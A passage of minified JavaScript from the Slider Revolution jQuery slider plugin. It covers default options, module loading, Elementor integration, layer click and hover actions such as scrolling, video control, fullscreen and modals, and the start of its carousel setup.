gation.thumbnails.hide_under=parseInt(e.navigation.thumbnails.hide_under)),e.navigation!==t&&e.navigation.tabs!=t&&e.navigation.tabs.hide_under!=t&&(e.navigation.tabs.hide_under=parseInt(e.navigation.tabs.hide_under)),e.navigation!==t&&e.navigation.arrows!=t&&e.navigation.arrows.hide_over!=t&&(e.navigation.arrows.hide_over=parseInt(e.navigation.arrows.hide_over)),e.navigation!==t&&e.navigation.bullets!=t&&e.navigation.bullets.hide_over!=t&&(e.navigation.bullets.hide_over=parseInt(e.navigation.bullets.hide_over)),e.navigation!==t&&e.navigation.thumbnails!=t&&e.navigation.thumbnails.hide_over!=t&&(e.navigation.thumbnails.hide_over=parseInt(e.navigation.thumbnails.hide_over)),e.navigation!==t&&e.navigation.tabs!=t&&e.navigation.tabs.hide_over!=t&&(e.navigation.tabs.hide_over=parseInt(e.navigation.tabs.hide_over)),e.lazyloaddata!==t&&e.lazyloaddata.length>0&&e.lazyloaddata.indexOf("-")>0){var r=e.lazyloaddata.split("-");for(e.lazyloaddata=r[0],i=1;i200?e.modal.coverSpeed/1e3:e.modal.coverSpeed,e.modal.coverSpeed=Math.max(Math.min(3,e.modal.coverSpeed),.3),e.navigation.wheelViewPort=e.navigation.wheelViewPort===t?.5:e.navigation.wheelViewPort/100,e.navigation.wheelCallDelay=e.navigation.wheelCallDelay===t?1e3:parseInt(e.navigation.wheelCallDelay),e.autoDPR="string"==typeof e.DPR&&-1!==e.DPR.indexOf("ax"),e.DPR=e.DPR.replace("ax",""),e.DPR=parseInt(e.DPR.replace("x","")),e.DPR=isNaN(e.DPR)?window.devicePixelRatio:e.autoDPR?Math.min(window.devicePixelRatio,e.DPR):e.DPR,e.DPR=1!=e.onedpronmobile&&"true"!=e.onedpronmobile||!a.ISM?e.DPR:1,!1===e.viewPort.global?e.viewPort.enable=!1:!0===e.viewPort.global&&(e.viewPort.local=e.viewPort.enable,e.viewPort.enable=!0),e.carousel!==t&&"v"==e.carousel.orientation&&(e.carousel.prevNextVisType=(""+e.carousel.prevNextVis).includes("%")?"%":"px",e.carousel.prevNextVis=parseInt(e.carousel.prevNextVis,0)/("%"==e.carousel.prevNextVisType?100:1)),e}(e.extend(!0,{DPR:"dpr",sliderType:"standard",sliderLayout:"auto",overlay:{type:"none",size:1,colora:"transparent",colorb:"#000000"},duration:9e3,imgCrossOrigin:"",modal:{useAsModal:!1,cover:!0,coverColor:"rgba(0,0,0,0.5)",horizontal:"center",vertical:"middle",coverSpeed:1},navigation:{keyboardNavigation:!1,keyboard_direction:"horizontal",mouseScrollNavigation:"off",wheelViewPort:50,wheelCallDelay:"1000ms",onHoverStop:!0,mouseScrollReverse:"default",target:"window",threshold:50,touch:{touchenabled:!1,touchOnDesktop:!1,swipe_treshold:75,swipe_min_touches:1,swipe_direction:"horizontal",drag_block_vertical:!1,mobileCarousel:!0,desktopCarousel:!0},arrows:{style:"",enable:!1,hide_onmobile:!1,hide_under:0,hide_onleave:!1,hide_delay:200,hide_delay_mobile:1200,hide_over:9999,tmp:"",rtl:!1,left:{h_align:"left",v_align:"center",h_offset:20,v_offset:0,container:"slider"},right:{h_align:"right",v_align:"center",h_offset:20,v_offset:0,container:"slider"}},bullets:{enable:!1,hide_onmobile:!1,hide_onleave:!1,hide_delay:200,hide_delay_mobile:1200,hide_under:0,hide_over:9999,direction:"horizontal",h_align:"center",v_align:"bottom",space:5,h_offset:0,v_offset:20,tmp:'',container:"slider",rtl:!1,style:""},thumbnails:{container:"slider",rtl:!1,style:"",enable:!1,width:100,height:50,min_width:100,wrapper_padding:2,wrapper_color:"transparent",tmp:'',visibleAmount:5,hide_onmobile:!1,hide_onleave:!1,hide_delay:200,hide_delay_mobile:1200,hide_under:0,hide_over:9999,direction:"horizontal",span:!1,position:"inner",space:2,h_align:"center",v_align:"bottom",h_offset:0,v_offset:20,mhoff:0,mvoff:0},tabs:{container:"slider",rtl:!1,style:"",enable:!1,width:100,min_width:100,height:50,wrapper_padding:10,wrapper_color:"transparent",tmp:'',visibleAmount:5,hide_onmobile:!1,hide_onleave:!1,hide_delay:200,hide_delay_mobile:1200,hide_under:0,hide_over:9999,direction:"horizontal",span:!1,space:0,position:"inner",h_align:"center",v_align:"bottom",h_offset:0,v_offset:20,mhoff:0,mvoff:0}},responsiveLevels:4064,visibilityLevels:[2048,1024,778,480],gridwidth:960,gridheight:500,minHeight:0,maxHeight:0,keepBPHeight:!1,useFullScreenHeight:!0,overflowHidden:!1,forceOverflow:!1,fixedOnTop:!1,autoHeight:!1,gridEQModule:!1,disableForceFullWidth:!1,fullScreenOffsetContainer:"",fullScreenOffset:"0",hideLayerAtLimit:0,hideAllLayerAtLimit:0,hideSliderAtLimit:0,progressBar:{disableProgressBar:!1,style:"horizontal",size:"5px",radius:10,vertical:"bottom",horizontal:"left",x:0,y:0,color:"rgba(255,255,255,0.5)",bgcolor:"transparent",basedon:"slide",gapsize:0,reset:"reset",gaptype:"gapboth",gapcolor:"rgba(255,255,255,0.5)",ease:"none",visibility:{0:!0,1:!0,2:!0,3:!0}},stopAtSlide:-1,stopAfterLoops:0,shadow:0,startDelay:0,lazyType:"none",lazyOnBg:!1,spinner:"off",shuffle:!1,perspective:"600px",perspectiveType:"local",viewPort:{enable:!1,global:!1,globalDist:"-400px",outof:"wait",visible_area:"200px",presize:!1},fallbacks:{isJoomla:!1,panZoomDisableOnMobile:!1,simplifyAll:!0,nextSlideOnWindowFocus:!1,disableFocusListener:!1,allowHTML5AutoPlayOnAndroid:!0},fanim:!1,parallax:{type:"off",levels:[10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85],origo:"enterpoint",disable_onmobile:!1,ddd_shadow:!1,ddd_bgfreeze:!1,ddd_overflow:"visible",ddd_layer_overflow:"visible",ddd_z_correction:65,speed:400,speedbg:0,speedls:0},scrolleffect:{set:!1,fade:!1,blur:!1,scale:!1,grayscale:!1,maxblur:10,layers:!1,slide:!1,direction:"both",multiplicator:1.35,multiplicator_layers:.5,tilt:30,disable_onmobile:!1},sbtimeline:{set:!1,fixed:!1,fixStart:0,fixEnd:0,layers:!1,slide:!1,ease:"none",speed:500},carousel:{orientation:"h",prevNextVis:"50px",easing:"power3.inOut",speed:800,showLayersAllTime:!1,horizontal_align:"center",vertical_align:"center",snap:!0,infinity:!1,stopOnClick:!0,space:0,maxVisibleItems:3,stretch:!1,fadeout:!0,maxRotation:0,maxOpacity:100,minScale:0,offsetScale:!1,vary_fade:!1,vary_rotation:!1,vary_scale:!1,border_radius:"0px",padding_top:0,padding_bottom:0,skewX:0,skewY:0,spin:"off",spinAngle:0,overshoot:!1},observeWrap:!1,extensions:"extensions/",extensions_suffix:".min.js",stopLoop:!1,waitForInit:!1,ignoreHeightChange:!0,onedpronmobile:!1},i))};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.waiting=window.RS_MODULES.waiting||[];var E=["DOM","main","parallax","video","slideanims","actions","layeranimation","navigation","carousel","panzoom"];for(var N in E)-1==window.RS_MODULES.waiting.indexOf(E[N])&&window.RS_MODULES.waiting.push(E[N]);function j(e){window.elementorFrontend!==t&&elementorFrontend.hooks!==t&&elementorFrontend.hooks.removeAction("frontend/element_ready/global",j),window.RS_MODULES.elementor={loaded:!0,version:"6.5.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}function V(){if(window.elementorFrontend===t||window.elementorFrontend.hooks===t||window.elementorFrontend.hooks.addAction===t)return window.RS_MODULES.elementorCounter++,window.RS_MODULES.elementorCounterCheck&&window.RS_MODULES.elementorCounter>20?void j():void requestAnimationFrame(V);window.elementorFrontend.config.environmentMode.edit?elementorFrontend.hooks.addAction("frontend/element_ready/widget",j):j()}function X(){1!=RS_MODULES.checkElementorCalled&&(RS_MODULES.checkElementorCalled=!0,document.body&&(document.body.className.indexOf("elementor-page")>=0||document.body.className.indexOf("elementor-default")>=0)&&(window.RS_MODULES.waiting=window.RS_MODULES.waiting===t?[]:window.RS_MODULES.waiting,-1==window.RS_MODULES.waiting.indexOf("elementor")&&window.RS_MODULES.waiting.push("elementor"),document.body&&-1==document.body.className.indexOf("elementor-editor-active")&&(window.RS_MODULES.elementorCounterCheck=!0),window.RS_MODULES.elementorCounter=0,V()))}window.RS_MODULES.main={loaded:!0,version:i},window.RS_MODULES.minimal=!1,window.RS_MODULES.callSliders=function(){for(var e in RS_MODULES.modules)!0!==RS_MODULES.modules[e].once&&window.RS_MODULES!==t&&window.RS_MODULES.minimal&&(RS_MODULES.modules[e].once=!0,RS_MODULES.modules[e].init())},"loading"===document.readyState?document.addEventListener("readystatechange",function(){"interactive"!==document.readyState&&"complete"!==document.readyState||(X(),window.RS_MODULES.DOM={loaded:!0},window.RS_MODULES.checkMinimal())}):"complete"!==document.readyState&&"interactive"!==document.readyState||(X(),window.RS_MODULES.DOM={loaded:!0}),window.RS_MODULES.checkMinimal=function(){if(0==window.RS_MODULES.minimal){var i=1==window.RS_MODULES.minimal||window.RS_MODULES.waiting!==t&&e.fn.revolution!==t&&window.tpGS!==t&&window.tpGS.gsap!==t;if(i)for(var a in window.RS_MODULES.waiting)window.RS_MODULES.waiting.hasOwnProperty(a)&&"function"!=typeof window.RS_MODULES.waiting[a]&&i&&window.RS_MODULES[window.RS_MODULES.waiting[a]]===t&&(i=!1);i&&(!0!==window.RS_MODULES.minimal&&e(document).trigger("REVSLIDER_READY_TO_USE"),window.RS_MODULES.minimal=!0)}else window.RS_MODULES.minimal=!0;!0===window.RS_MODULES.minimal&&window.RS_MODULES.callSliders()},window.RS_MODULES.checkMinimal()}(jQuery),function($,undefined){"use strict";var version="6.6.0";jQuery.fn.revolution=jQuery.fn.revolution||{};var _R=jQuery.fn.revolution;jQuery.extend(!0,_R,{checkActions:function(e,t){e===undefined?moduleEnterLeaveActions(t):checkActions_intern(e,t)},delayer:function(e,t,i){_R[e].timeStamps=_R[e].timeStamps===undefined?{}:_R[e].timeStamps;var a=(new Date).getTime(),r=_R[e].timeStamps[i]===undefined?parseInt(t)+100:a-_R[e].timeStamps[i],o=parseInt(r)>t;return o&&(_R[e].timeStamps[i]=a),o},getURLDetails:function(e){(e=e===undefined?{}:e).url=e.url===undefined?window.location.href:e.url,e.url=e.url.replace("www",""),e.protocol=0===e.url.indexOf("http://")?"http://":0===e.url.indexOf("https://")?"https://":0===e.url.indexOf("//")?"//":"relative";var t=e.url.replace("https://","");t=t.replace("http://",""),"relative"===e.protocol&&(t=t.replace("//","")),t=t.split("#"),e.anchor=(e.anchor===undefined||""==e.anchor||0==e.anchor.length)&&t.length>1?t[1]:e.anchor===undefined?"":e.anchor.replace("#",""),e.anchor=e.anchor.split("?"),e.queries=t[0].split("?"),e.queries=e.queries.length>1?e.queries[1]:"",e.queries=e.queries.length>1?e.queries[1]:e.anchor.length>1?e.anchor[1]:e.queries,e.anchor=e.anchor[0];(t=t[0]).split("/");var i=t.split("/");return e.host=i[0],i.splice(0,1),e.path="/"+i.join("/"),"/"==e.path[e.path.length-1]&&(e.path=e.path.slice(0,-1)),e.origin="relative"!==e.protocol?e.protocol+e.host:window.location.origin.replace("www","")+window.location.pathname,e.hash=(""!==e.queries&&e.queries!==undefined?"?"+e.queries:"")+(""!==e.anchor&&e.anchor!==undefined?"#"+e.anchor:""),e},scrollToId:function(e){if(_R.scrollToObj=e,!window.isSafari11){var t=tpGS.gsap.getProperty("html","scrollBehavior"),i=tpGS.gsap.getProperty("body","scrollBehavior");tpGS.gsap.set("html,body",{scrollBehavior:"auto"}),e.scrollBehaviorHtml=t,e.scrollBehaviorBody=i}_R.calcScrollToId()},calcScrollToId:function(){if(_R.scrollToObj){var e=_R.scrollToObj,t=e.tween&&e.tween.progress?e.tween.progress():0;e.tween&&e.tween.kill&&e.tween.kill(),e.startScrollPos!==undefined&&null!==e.startScrollPos||(e.startScrollPos=_R[e.id].modal.useAsModal?_R[e.id].cpar.scrollTop():_R.document.scrollTop());var i="scrollbelow"===e.action?(getOffContH(_R[e.id].fullScreenOffsetContainer)||0)-(parseInt(e.offset,0)||0)||0:0-(parseInt(e.offset,0)||0),a="scrollbelow"===e.action?_R[e.id].c:jQuery("#"+e.anchor),r=a.length>0?a.offset().top:0,o={_y:_R[e.id].modal.useAsModal?_R[e.id].cpar[0].scrollTop:window.pageYOffset!==document.documentElement.scrollTop?0!==window.pageYOffset?window.pageYOffset:document.documentElement.scrollTop:window.pageYOffset};r+="scrollbelow"===e.action?_R[e.id].sbtimeline.fixed?_R[e.id].cpar.parent().height()+_R[e.id].fullScreenOffsetResult:jQuery(_R[e.id].slides[0]).height():0,e.tween=tpGS.gsap.fromTo(o,e.speed/1e3,{_y:e.startScrollPos},{_y:r-i,ease:e.ease,onUpdate:function(){_R[e.id].modal.useAsModal?_R[e.id].cpar.scrollTop(o._y):_R.document.scrollTop(o._y)},onComplete:function(){e.hash!==undefined&&history.pushState(null,null,e.hash),window.isSafari11||(tpGS.gsap.set("html",{scrollBehavior:e.scrollBehaviorHtml}),tpGS.gsap.set("body",{scrollBehavior:e.scrollBehaviorBody})),_R.scrollToObj&&(_R.scrollToObj.tween&&(_R.scrollToObj.tween.kill(),_R.scrollToObj.tween=null),_R.scrollToObj.startScrollPos=null,_R.scrollToObj=null)}}),e.tween.progress(t)}}});var moduleEnterLeaveActions=function(e){!_R[e].moduleActionsPrepared&&_R[e].c[0].getElementsByClassName("rs-on-sh").length>0&&(_R[e].c.on("tp-mouseenter",function(){_R[e].mouseoncontainer=!0;var t,i=_R[e].pr_next_key!==undefined?_R[e].pr_next_key:_R[e].pr_processing_key!==undefined?_R[e].pr_processing_key:_R[e].pr_active_key!==undefined?_R[e].pr_active_key:_R[e].pr_next_key;if("none"!==i&&i!==undefined){if((i=_R.gA(_R[e].slides[i],"key"))!==undefined&&_R[e].layers[i])for(t in _R[e].layers[i])_R[e].layers[i][t].className.indexOf("rs-on-sh")>=0&&_R.renderLayerAnimation({layer:jQuery(_R[e].layers[i][t]),frame:"frame_1",mode:"trigger",id:e});for(t in _R[e].layers.static)_R[e].layers.static[t].className.indexOf("rs-on-sh")>=0&&_R.renderLayerAnimation({layer:jQuery(_R[e].layers.static[t]),frame:"frame_1",mode:"trigger",id:e})}}),_R[e].c.on("tp-mouseleft",function(){_R[e].mouseoncontainer=!0;var t,i=_R[e].pr_next_key!==undefined?_R[e].pr_next_key:_R[e].pr_processing_key!==undefined?_R[e].pr_processing_key:_R[e].pr_active_key!==undefined?_R[e].pr_active_key:_R[e].pr_next_key;if("none"!==i&&i!==undefined){if((i=_R.gA(_R[e].slides[i],"key"))!==undefined&&_R[e].layers[i])for(t in _R[e].layers[i])_R[e].layers[i][t].className.indexOf("rs-on-sh")>=0&&_R.renderLayerAnimation({layer:jQuery(_R[e].layers[i][t]),frame:"frame_999",mode:"trigger",id:e});for(t in _R[e].layers.static)_R[e].layers.static[t].className.indexOf("rs-on-sh")>=0&&_R.renderLayerAnimation({layer:jQuery(_R[e].layers.static[t]),frame:"frame_999",mode:"trigger",id:e})}})),_R[e].moduleActionsPrepared=!0},checkActions_intern=function(layer,id){var actions=_R.gA(layer[0],"actions");if("RS-COLUMN"==layer[0].tagName){var wrap=_R.closestNode(layer[0],"RS-COLUMN-WRAP");null!==wrap&&wrap!==undefined&&(_R.sA(wrap,"action",actions),layer=jQuery(wrap))}var _L=layer.data();for(var ei in actions=actions.split("||"),layer.addClass("rs-waction"),_L.events=_L.events===undefined?[]:_L.events,actions)if(actions.hasOwnProperty(ei)){var event=getEventParams(actions[ei].split(";"));_L.events.push(event),"click"===event.on&&layer[0].classList.add("rs-wclickaction"),_R[id].fullscreen_esclistener||"exitfullscreen"!=event.action&&"togglefullscreen"!=event.action||(_R.document.keyup(function(e){27==e.keyCode&&jQuery("#rs-go-fullscreen").length>0&&layer.trigger(event.on)}),_R[id].fullscreen_esclistener=!0);var targetlayer="backgroundvideo"==event.layer?jQuery("rs-bgvideo"):"firstvideo"==event.layer?jQuery("rs-slide").find(".rs-layer-video"):jQuery("#"+event.layer);switch(-1!=jQuery.inArray(event.action,["toggleslider","toggle_mute_video","toggle_global_mute_video","togglefullscreen"])&&(_L._togglelisteners=!0),event.action){case"togglevideo":jQuery.each(targetlayer,function(){updateToggleByList(jQuery(this),"videotoggledby",layer[0].id)});break;case"togglelayer":jQuery.each(targetlayer,function(){updateToggleByList(jQuery(this),"layertoggledby",layer[0].id),jQuery(this).data("triggered_startstatus",event.togglestate)});break;case"toggle_global_mute_video":case"toggle_mute_video":jQuery.each(targetlayer,function(){updateToggleByList(jQuery(this),"videomutetoggledby",layer[0].id)});break;case"toggleslider":_R[id].slidertoggledby==undefined&&(_R[id].slidertoggledby=[]),_R[id].slidertoggledby.push(layer[0].id);break;case"togglefullscreen":_R[id].fullscreentoggledby==undefined&&(_R[id].fullscreentoggledby=[]),_R[id].fullscreentoggledby.push(layer[0].id)}}_R[id].actionsPrepared=!0,_R[id].actionListenerHook=_R[id].actionListenerHook==undefined?{_on:""}:_R[id].actionListenerHook,layer.on("click mouseenter mouseleave "+_R[id].actionListenerHook._on,function(e){for(var i in _L.events)if(_L.events.hasOwnProperty(i)&&_L.events[i].on.includes(e.type)){var event=_L.events[i];if(!(event.repeat!==undefined&&event.repeat>0)||_R.delayer(id,1e3*event.repeat,_L.c[0].id+"_"+event.action)){if("click"===event.on&&layer.hasClass("tp-temporarydisabled"))return!1;(""+event.layer).includes("layer-sta_")&&(_R[id].staticPrefix=_R[id].staticPrefix?_R[id].staticPrefix:Object.keys(_R[id].layers.static)[0],(""+_R[id].staticPrefix).includes("layer-")&&(event.layer=_R[id].staticPrefix.split("layer-")[0]+"layer-"+event.layer.split("layer-sta_")[1]));var targetlayer="backgroundvideo"==event.layer?jQuery(_R[id].slides[_R[id].pr_active_key]).find("rs-sbg-wrap rs-bgvideo"):"firstvideo"==event.layer?jQuery(_R[id].slides[_R[id].pr_active_key]).find(".rs-layer-video").first():jQuery("#"+event.layer),tex=targetlayer.length>0;if(""!=_R[id].actionListenerHook._on&&"click"!==e.type&&"mouseenter"!==e.type&&"mouseleave"!==e.type){var keepgoing=!0;for(var cbs in _R[id].actionListenerHook.callBacks){if(!0!==keepgoing)break;_R[id].actionListenerHook.callBacks.hasOwnProperty(cbs)&&"function"==typeof _R[id].actionListenerHook.callBacks[cbs]&&(keepgoing=_R[id].actionListenerHook.callBacks[cbs]({event:event,layer:layer,targetlayer:targetlayer,L:_L}))}if(!keepgoing)continue}switch(event.action){case"menulink":var linkto=_R.getURLDetails({url:event.url,anchor:event.anchor}),linkfrom=_R.getURLDetails();linkto.host==linkfrom.host&&linkto.path==linkfrom.path&&"_self"===event.target?_R.scrollToId({id:id,offset:event.offset,action:event.action,anchor:event.anchor,hash:linkto.hash,speed:event.speed,ease:event.ease}):"_self"===event.target?window.location=linkto.url+(linkto.anchor!==undefined&&""!==linkto.anchor?"#"+linkto.anchor:""):window.open(linkto.url+(linkto.anchor!==undefined&&""!==linkto.anchor?"#"+linkto.anchor:"")),e.preventDefault();break;case"getAccelerationPermission":_R.getAccelerationPermission(id);break;case"nextframe":case"prevframe":case"gotoframe":case"togglelayer":case"toggleframes":case"startlayer":case"stoplayer":if(targetlayer[0]===undefined)continue;var _=_R[id]._L[targetlayer[0].id],frame=event.frame,tou="triggerdelay";if("click"===e.type&&_.clicked_time_stamp!==undefined&&(new Date).getTime()-_.clicked_time_stamp<300)return;if("mouseenter"===e.type&&_.mouseentered_time_stamp!==undefined&&(new Date).getTime()-_.mouseentered_time_stamp<300)return;if(clearTimeout(_.triggerdelayIn),clearTimeout(_.triggerdelayOut),clearTimeout(_.triggerdelay),"click"===e.type&&(_.clicked_time_stamp=(new Date).getTime()),"mouseenter"===e.type&&(_.mouseentered_time_stamp=(new Date).getTime()),"mouseleave"===e.type&&(_.mouseentered_time_stamp=undefined),"nextframe"===event.action||"prevframe"===event.action){_.forda=_.forda===undefined?getFordWithAction(_):_.forda;var inx=jQuery.inArray(_.currentframe,_.ford);for("nextframe"===event.action&&inx++,"prevframe"===event.action&&inx--;"skip"!==_.forda[inx]&&inx>0&&inx<_.forda.length-1;)"nextframe"===event.action&&inx++,"prevframe"===event.action&&inx--,inx=Math.min(Math.max(0,inx),_.forda.length-1);frame=_.ford[inx]}jQuery.inArray(event.action,["toggleframes","togglelayer","startlayer","stoplayer"])>=0&&(_.triggeredstate="startlayer"===event.action||"togglelayer"===event.action&&"frame_1"!==_.currentframe||"toggleframes"===event.action&&_.currentframe!==event.frameN,"togglelayer"===event.action&&!0===_.triggeredstate&&_.currentframe!==undefined&&"frame_999"!==_.currentframe&&(_.triggeredstate=!1),frame=_.triggeredstate?"toggleframes"===event.action?event.frameN:"frame_1":"toggleframes"===event.action?event.frameM:"frame_999",tou=_.triggeredstate?"triggerdelayIn":"triggerdelayOut",_.triggeredstate?_R.toggleState(_.layertoggledby):(_R.stopVideo&&_R.stopVideo(targetlayer,id),_R.unToggleState(_.layertoggledby)));var pars={layer:targetlayer,frame:frame,mode:"trigger",id:id};!0===event.children&&(pars.updateChildren=!0,pars.fastforward=!0),_R.renderLayerAnimation&&(clearTimeout(_[tou]),_[tou]=setTimeout(function(e){_R.renderLayerAnimation(e)},1e3*event.delay,pars));break;case"playvideo":tex&&_R.playVideo(targetlayer,id);break;case"stopvideo":tex&&_R.stopVideo&&_R.stopVideo(targetlayer,id);break;case"togglevideo":tex&&(_R.isVideoPlaying(targetlayer,id)?_R.stopVideo&&_R.stopVideo(targetlayer,id):_R.playVideo(targetlayer,id));break;case"mutevideo":tex&&_R.Mute(targetlayer,id,!0);break;case"unmutevideo":tex&&_R.Mute&&_R.Mute(targetlayer,id,!1);break;case"toggle_mute_video":tex&&(_R.Mute(targetlayer,id)?_R.Mute(targetlayer,id,!1):_R.Mute&&_R.Mute(targetlayer,id,!0));break;case"toggle_global_mute_video":var pvl=_R[id].playingvideos!=undefined&&_R[id].playingvideos.length>0;pvl&&(_R[id].globalmute?jQuery.each(_R[id].playingvideos,function(e,t){_R.Mute&&_R.Mute(t,id,!1)}):jQuery.each(_R[id].playingvideos,function(e,t){_R.Mute&&_R.Mute(t,id,!0)})),_R[id].globalmute=!_R[id].globalmute;break;default:tpGS.gsap.delayedCall(event.delay,function(targetlayer,id,event,layer){switch(event.action){case"openmodal":_R.openModalAPI(event.modal,event.modalslide===undefined?0:event.modalslide,_R[id].ajaxUrl,!0,id,event);break;case"closemodal":_R.revModal(id,{mode:"close"});break;case"callback":eval(event.callback);break;case"simplelink":window.open(event.url,event.target);break;case"simulateclick":targetlayer.length>0&&targetlayer.trigger("click");break;case"toggleclass":targetlayer.length>0&&targetlayer.toggleClass(event.classname);break;case"scrollbelow":case"scrollto":"scrollbelow"===event.action&&layer.addClass("tp-scrollbelowslider"),_R.scrollToId({id:id,offset:event.offset,action:event.action,anchor:event.id,speed:event.speed,ease:event.ease});break;case"jumptoslide":switch(_R[id].skipAttachDetach=!0,event.slide.toLowerCase()){case"rs-random":var ts=Math.min(Math.max(0,Math.ceil(Math.random()*_R[id].realslideamount)-1));ts=_R[id].activeRSSlide==ts?ts>0?ts-1:ts+1:ts,_R.callingNewSlide(id,_R[id].slides[ts].dataset.key,"carousel"===_R[id].sliderType);break;case"+1":case"next":case"rs-next":_R[id].sc_indicator="arrow",_R[id].sc_indicator_dir=0,_R.callingNewSlide(id,1,"carousel"===_R[id].sliderType);break;case"rs-previous":case"rs-prev":case"previous":case"prev":case"-1":_R[id].sc_indicator="arrow",_R[id].sc_indicator_dir=1,_R.callingNewSlide(id,-1,"carousel"===_R[id].sliderType);break;case"first":case"rs-first":_R[id].sc_indicator="arrow",_R[id].sc_indicator_dir=1,_R.callingNewSlide(id,0,"carousel"===_R[id].sliderType);break;case"last":case"rs-last":_R[id].sc_indicator="arrow",_R[id].sc_indicator_dir=0,_R.callingNewSlide(id,_R[id].slideamount-1,"carousel"===_R[id].sliderType);break;default:var ts=_R.isNumeric(event.slide)?parseInt(event.slide,0):event.slide;_R.callingNewSlide(id,ts,"carousel"===_R[id].sliderType)}break;case"toggleslider":_R[id].noloopanymore=0,"playing"==_R[id].sliderstatus?(_R[id].c.revpause(),_R[id].forcepaused=!0,_R.unToggleState(_R[id].slidertoggledby)):(_R[id].forcepaused=!1,_R[id].c.revresume(),_R.toggleState(_R[id].slidertoggledby));break;case"pauseslider":_R[id].c.revpause(),_R.unToggleState(_R[id].slidertoggledby);break;case"playslider":_R[id].noloopanymore=0,_R[id].c.revresume(),_R.toggleState(_R[id].slidertoggledby);break;case"gofullscreen":case"exitfullscreen":case"togglefullscreen":var gf;tpGS.gsap.set(_R[id].parallax.bgcontainers,{y:0}),jQuery(".rs-go-fullscreen").length>0&&("togglefullscreen"==event.action||"exitfullscreen"==event.action)?(jQuery(".rs-go-fullscreen").removeClass("rs-go-fullscreen"),gf=_R[id].c.closest("rs-fullwidth-wrap").length>0?_R[id].c.closest("rs-fullwidth-wrap"):_R[id].c.closest("rs-module-wrap"),_R[id].minHeight=_R[id].oldminheight,_R[id].infullscreenmode=!1,_R[id].c.revredraw(),_R[id].c.revredraw(),jQuery(window).trigger("resize"),_R.unToggleState(_R[id].fullscreentoggledby)):0!=jQuery(".rs-go-fullscreen").length||"togglefullscreen"!=event.action&&"gofullscreen"!=event.action||(gf=_R[id].c.closest("rs-fullwidth-wrap").length>0?_R[id].c.closest("rs-fullwidth-wrap"):_R[id].c.closest("rs-module-wrap"),gf.addClass("rs-go-fullscreen"),_R[id].oldminheight=_R[id].minHeight,_R[id].minHeight=_R.getWinH(id),_R[id].infullscreenmode=!0,jQuery(window).trigger("resize"),_R.toggleState(_R[id].fullscreentoggledby),_R[id].c.revredraw());break;default:_R[id].c.trigger("layeraction",[event.action,layer,event])}},[targetlayer,id,event,layer])}}}})};function getFordWithAction(e){var t=[];for(var i in e.ford)e.frames[e.ford[i]].timeline.waitoncall?t.push(e.ford[i]):t.push("skip");return t}function updateToggleByList(e,t,i){var a=e.data(t);a===undefined&&(a=[]),a.push(i),e.data(t,a)}function getEventParams(e){var t={on:"click",delay:0,ease:"power2.out",speed:400};for(var i in e)if(e.hasOwnProperty(i)){var a=e[i].split(":");switch(a.length>2&&"call"===a[0]&&(a[1]=a.join(":").replace(a[0]+":","")),a[0]){case"modal":t.modal=a[1];break;case"ms":t.modalslide=a[1];break;case"m":t.frameM=a[1];break;case"n":t.frameN=a[1];break;case"o":t.on="click"===a[1]||"c"===a[1]?"click":"ml"===a[1]||"mouseleave"===a[1]?"mouseleave":"mouseenter"===a[1]||"me"===a[1]?"mouseenter":a[1];break;case"d":t.delay=parseInt(a[1],0)/1e3,t.delay="NaN"===t.delay||isNaN(t.delay)?0:t.delay;break;case"rd":t.repeat=parseInt(a[1],0)/1e3,t.repeat="NaN"===t.repeat||isNaN(t.repeat)?0:t.repeat;break;case"a":t.action=a[1];break;case"f":t.frame=a[1];break;case"slide":t.slide=a[1];break;case"layer":t.layer=a[1];break;case"sp":t.speed=parseInt(a[1],0);break;case"e":t.ease=a[1];break;case"ls":t.togglestate=a[1];break;case"offset":t.offset=a[1];break;case"call":t.callback=a[1];break;case"url":t.url="";for(var r=1;r0&&""!==a[0]&&(t[a[0]]=a[1])}}return t}var getOffContH=function(e){if(e==undefined)return 0;if(e.split(",").length>1){var t=e.split(","),i=0;return t&&jQuery.each(t,function(e,t){jQuery(t).length>0&&(i+=jQuery(t).outerHeight(!0))}),i}return jQuery(e).height()};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.actions={loaded:!0,version:version},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";jQuery.fn.revolution=jQuery.fn.revolution||{};var t=jQuery.fn.revolution;jQuery.extend(!0,t,{prepareCarousel:function(e,i,a,r){if(void 0!==e){var s=t[e].carousel;s.slidesWithRowAdjustions={},i=s.lastdirection=o(i,s.lastdirection),t.setCarouselDefaults(e,void 0,r),t.organiseCarousel(e,"right",!0,!1,!1),void 0!==s.swipeTo&&t.isNumeric(s.swipeTo)?void 0!==a?t.swipeAnimate({id:e,to:s.swipeTo,distance:s.swipeToDistance,direction:i,fix:!0,speed:a}):t.swipeAnimate({id:e,to:s.swipeTo,distance:s.swipeToDistance,direction:i,fix:!0}):t.swipeAnimate({id:e,to:0,direction:i,speed:0}),"carousel"!==t[e].sliderType||s.fadein||(tpGS.gsap.to(t[e].canvas,1,{scale:1,opacity:1}),s.fadein=!0)}},setupCarousel:function(e){var o=t[e].carousel;"v"==o.orientation?(o.length="height",o.translate="y",o.slide_dims="slide_heights",o.deltaT="deltaY",o.sliderLength="sliderHeight",o.slide_length="slide_height",o.wraplength="wrapheight",o.align="0%"===o.vertical_align?"start":"50%"===o.vertical_align?"center":"end",!o.snap||o.justify||o.infinity||(o.forceBAlign=!0)):(o.length="width",o.translate="x",o.slide_dims="slide_widths",o.deltaT="deltaX",o.sliderLength="sliderWidth",o.slide_length="slide_width",o.wraplength="wrapwidth",o.align="left"===o.horizontal_align?"start":"center"===o.horizontal_align?"center":"end"),o[o.sliderLength]=t[e].canv[o.length],o.proxy=document.createElement("div"),o.follower=document.createElement("div"),o.slideamount=t[e].slideamount,o.infinity||o.snap||(t[e].carousel.align="start"),r(e),a(e,o.align),o.inited=!0,o.lerpHandler=t.carLerpHandler.bind(this,e),void 